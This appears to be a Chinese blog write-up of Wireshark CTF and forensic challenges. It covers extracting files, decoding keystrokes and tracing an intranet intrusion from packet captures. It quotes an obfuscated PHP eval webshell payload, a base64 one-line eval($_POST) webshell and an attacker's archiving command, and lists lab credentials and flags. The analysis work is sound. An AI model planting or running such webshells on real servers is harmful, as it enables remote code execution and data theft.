总字符数: 24.33K
代码: 7.43K, 文本: 4.96K
预计阅读时间: 54 分钟
Wireshark基本使用
CTF
WireShark流量分析小试牛刀
扫描流量检测
描述
入侵者通过ping
工具对局域网内一主机进行存活性扫描,flag 为入侵所发送的16
字节的数据包内容。
题解
根据提示重点分为两个:
Ping
命令的协议为ICMP
16
字节
首先,筛选出协议为ICMP
的流量包
浏览数据包,发现长度为16
自己的数据
将数据进行十六进制
转换可得flag
提取压缩包
描述
key
为文本格式,你找得到吗?
题解
右键–>追踪流–>TCP流
可看到更详细的信息
第一个包去请求了一个密钥相关的txt
,响应包中告诉我们密钥为ZipYourMouth
接着看下一个流量包,发现他去下载了一个flag.zip
的压缩包,也就是响应体是压缩包的数据我们只需要将响应体恢复成文件之后即可解压
选择对方给我方的响应对话,并且选择原始数据
然后点击另存为,文件名为flag.zip
请求包里是什么名字我们就暂定为什么名字
发现压缩包无效,这是因为我们在保存的时候也把响应头等信息也给保存进去了,我们使用010Editor
等工具.将多余的信息删掉即可
将其删掉,再次尝试打开.
发现非压缩包.然后我们使用WinRAR
尝试修复
打开修复后的压缩包发现显示密码错误,并且压缩包内的文件也不正常
这个时候我们可以直接将pcap
包复制一份改名为.zip
然后使用WinRAR
修复即可
文件名也正确,输入密码得到Flag
关键字符提取
描述
请找到流量包中的flag
,格式为:nctf{}
题解
随便选中一个数据流,按Ctrl+F
,选择分组详情,搜索字符串:nctf
可得flag
特殊字符提取
描述
请找到密码,组合为flag
,格式为:flag{密码}
全是TCP
协议,直接右键追踪TCP
流
上来就发现了密码~好简单啊,并且就这一个包,然后提交flag
发现不对.看特征是Linux
输入密码.那有没有可能中间有密码输错了,然后Delete
键的流量也被记录了.
选择HEX 转储
然后对照十六进制的Ascii
码表,发现72对应的值确实是r
也就是说这些确实是ascii
码
找到7f
为delete
,0D
为回车.在r
后面按了三下delete
,8
后面一下,e
后面一下回车也就是:backdoorm8te
文件提取
ISG.pcap
直接追踪TCP
流,发现是一堆Webshell
流量,看不懂没关系,我们直接找文件即可,在流三中发现了x.tar.gz
那我们按照上面的方法,提取出压缩包,我们发现在响应体中最前面和最后面有->| |<-
那我们可以猜测这类似是一种包裹方式,而且也不属于压缩包的头信息,我们使用010Editor
工具给他删掉
最后就这样
打开压缩包可得flag
final.pcap
打开后可发现ftp
协议,直接追踪该流,流1可发现账号密码,保存一下
流2可以发现很明显的Rar
头信息,提取出来
发现需要密码,拿流1中的密码去尝试,也解不开
接着往下看流,在流4中发现了PNG
头
提取出来,删除多余的数据,然后发现图片打不开,接着往下看流,流5中发现Base64
编码的内容
发现普通Base64无法解码,试一下解码为中文
解压出来后使用记事本打开66666666666
文件发现是一堆乱码,那就用010Editor.exe
打开看看
发现了IHDR
很熟悉,上面看到过.发现是个PNG
图片但是缺少了头信息,那我们随便找一个正常的PNG
图片的数据复制过来
复制第一行即可,替换掉
得到flag
导出对象
流量中的线索.pcapng
选择文件—>导出对象—>HTTP
打开发现是一堆Base64
数据
使用Base64
解码或前方加上data:image/jpg;Base64,
Misc-我抓到你了
打开1.php
1 | a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9Ii92YXIvd3d3L2ZsYWcuemlwIjskZnA9QGZvcGVuKCRGLCdyJyk7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oJ0VSUk9SOi8vIENhbiBOb3QgUmVhZCcpO307ZWNobygiWEBZIik7ZGllKCk7'));\");")); |
也就是Base64
解码,那我们也解码一下
可以发现了flag.zip
那我们将响应体保存为zip
,并删除多余数据
fly.pcapng
导出HTTP
对象,发现是邮箱的数据传输
右键追踪流,往前翻看看是传输的什么文件{"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba86749","sha3":""}
按照序号将五个数据包的大小记录下来,分别为131436
、131436
、131436
、131436
、1777
一共是527521Byte
,但是上面的大小为525701
也就是说每个数据包前面都有固定大小的标识.(527521-525701)/5=364
.
去掉每个数据包364 byte
的其他头部信息,然后再将5个文件合并成rar
压缩文件
找到数据传输包,选中data
的部分右键,导出分组字节流即可
1 | ┌──(kali㉿kali)-[~/bin] |
1 | ┌──(kali㉿kali)-[~/bin] |
可能是个伪加密,搜索rar伪加密改文件头信息解开。
将84
替换为80
打开后发现是一堆乱码
使用binwalk
分析
发现一堆图片使用foremost -T flag.txt
进行分离
扫码可得flag
Flag
flag{!"#$%&'()*+,-./0}
flag{qscet5234diQ}
nctf{wireshark_is_easy}
psw flag{backdoorm8te}
ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}
flag{FI@G_1$_h#Re_SeC()Ri7Y}
flag{209acebf6324a09671abc31c869de72c}
flag{a264c8ce70dfbc08dcfb9d552e15411a}
flag{m1Sc_oxO2_Fly}
流量分析
- 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
awvs - 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
/admin/login.php?rec=login.php - 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)
admin/admin!@#pass123 - 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
a.php PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg== - 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
flag:87b7cb79481f317bde90c116cf36084b - 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
web/e667jUPvJjXHvEUv - 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
eth1 10.3.3.100 - 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
d1c029893df40cb0f47bcf8f1c3c17ac - 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
edc123!@# - 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)
admin/admin!@#PASS123 - 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少
10.3.4.3
webone.pcap
识别扫描器
协议分级中查看到http协议100%
,那就直接查看http协议
一般扫描器的指纹会出现在Conten-type
或User-Agent
当中,所以将此两个字段应用为列
大概看一下,将无危胁的过滤掉http && (http.request.method=="GET" || http.request.method=="POST") && http.content_type != "application/x-www-form-urlencoded"
即可发现awvs
扫描器的指纹
登陆后台
直接定位状态码为301或者302的,登陆成功后会跳转嘛然后可以翻到admin
字样的数据包
http.response.code==301 || http.response.code==302 && http.response_for.uri matches "admin"
得到结果:http://192.168.32.189/admin/login.php?rec=login.php
账号密码
基本查询没什么好讲的,把长度排序,最特别的那个就很有可能是登录成功的,我们使用Burp爆破的时候也是看长度最特别的那个
http.request.method=="POST" && http.request.uri.query=="rec=login"&& ip.src==192.168.94.59
WebShell
木马一般请求方式为POST
,所以指定请求方式为POST
.并且将暴力破解相关的流量筛选掉
1 | http && ip.src == 192.168.94.59 && http.request.method == "POST" && http.content_type!="acunetix/wvs" &&!(http.request.full_uri contains "admin/login.php?rec=login") |
然后就可以发现比较异常的文件:a.php
然后我们发现了密码是1234,并且是在请求体里的则根据此条件找出木马内容.使用http contains "$_POST[1234]"
发现搜不到,那么尝试一下tcp,tcp contains "$_POST[1234]"
分析WebShell行为
定位WebShell
相关的所有流量http.request.uri=="/images/article/a.php" || http.response_for.uri matches "/images/article/a.php"
选择导出特定分组打开导出的文件进行追流分析
1 | # 下载了 /var/www/html/images/article/20180807wwmhxi.png |
robots.txt
上面在分析的时候其实也查到了····http.request.full_uri matches "robots.txt"
数据库密码
查询常见数据库端口tcp.dstport==3306
选择文件–>导出特定分组,先将mysql的导出来
然后打开mysql的流量看一下,并没有什么信息,这个是个Web网站,那账号密码有没有可能在配置文件里面,然后被黑客访问了呢~~~
那么涉及到配置文件必然会涉及到数据库名、用户名、密码,例如: http contains "database" and http contains "user" and http contains "name"
或者 http contains "database" || http contains "user" || http contains "name"
1 | // database host |
网卡信息
1 | eth0 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85 |
webtwo.pcap
hash_code
发现只有MySQL协议,随便打开一个包看看格式和有哪些内容
我们可以按照这个格式查一下mysql.query matches "hash_code"
右键追踪TCP
流
ijnu密码
mysql contains "ijnu@test.com"
mail*.pcap
协议分级,看看自己要关注那些协议和字段
映入眼帘的就是一个敏感路径
根据敏感路径进行过滤http.request.full_uri matches "action=login" ||http.response_for.uri matches "action=login"
分析请求及响应信息
发现一个success:true
,右键追踪流,确实是登录成功了,但是没有请求体,估计是Cookie
登录的.放弃QAQ不过又多了个筛选条件
http.request.full_uri matches "action=login" || (http.response_for.uri matches "action=login" && data-text-lines matches "{\"success\":true}")
将value
应用为列,排查一下,最终会发现只是都满足了resquest
包含了action=login
而已,打开另一个数据包进行排查
可以发现爆破了admin
的密码
追踪流,看着密码像base64
编码,但是解不出来
那就在当前流找找,看看有没有加密函数,最后发现了加密函数,但是可惜的是损坏了,函数不完整,根据这个密钥去搜搜还有没有其他流量包
可以得到以下信息:
hash: md5(1234567812345678)
:d959caadac9b13dcb3e609440135cf54
iv(偏移量):1234567812345678
模式:cbc
字符集:utf8
vpn*.pcap
PPTP原理
- PPTP客户机使用动态分配的TCP端口号,与PPTP服务器使用的保留TCP端口号123建立控制连接(PPTP控制连接携带PPTP呼叫控制盒管理信息,用于维护PPTP隧道)。
- 客户端与服务器通过控制连接来创建、维护、终止一条隧道。
- PPP帧的有效载荷经过加密、压缩或是两者的混合处理。
- 使用通用路由封装GRE对PPP帧进行封装。
- 将PPP帧封装进IP数据报文中。通过IP网络如Internet或其他企业准用INTRANET灯发送给PPTP服务器。
- 服务器接收到PPTP数据包后进行常规处理。
我们打开vpnone.pcap,发现vpnone.pcap应该只是在尝试登陆VPN.
查看vpntwo.pcap,在统计——>IPV4中发现
0.3.4.96 、10.3.4.55 、10.3.4.3
出现的次数.最多接着查看一下协议分级
有smb服务,看看smb服务器的ip是哪个排除一下,可以看到原端口是445也就是smb的服务端口,那么服务器IP则为10.3.4.96
排除一些无用选项!smp && ip.src != 10.3.4.96
,发现了ping
可以看到10.3.4.3
一直在主动ping 10.3.4.55
可以确定10.3.4.3
为黑客IP
WebShell.pcap
将http导出为php,然后去分析包
导出后逐渐分析每个文件,会在config(25).php中发现敏感操作,类似于压缩文件包的操作
继续往下分析包,找他有没有下载嘛,发现config(31).php文件最大嘛,改后缀名,改成.rar,打开后发现有密码,再返回去看他是怎么压缩的包嘛,看看他有没有设置密码
响应包是config(25).php,那么请求包盲猜24呗,打开后发现是url编码了,解码看一下
发现他做了base64_encode嘛,那我们将每一个值都解码一下呗,发现z2解码后是命令
1 | cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E] |
查找帮助文档,发现-hp是设置密码,那么JJBoom就是密码呗
解压出来之后发现,是个gif图,但是打不开
拖进010查看一下发现文件头是mdmp
将后缀名改为mdmp,不知道mdmp是啥,Google一下
进去搜一下mdmp
那就跟着教程走嘛,发现分析出来的是某一台机器的账号密码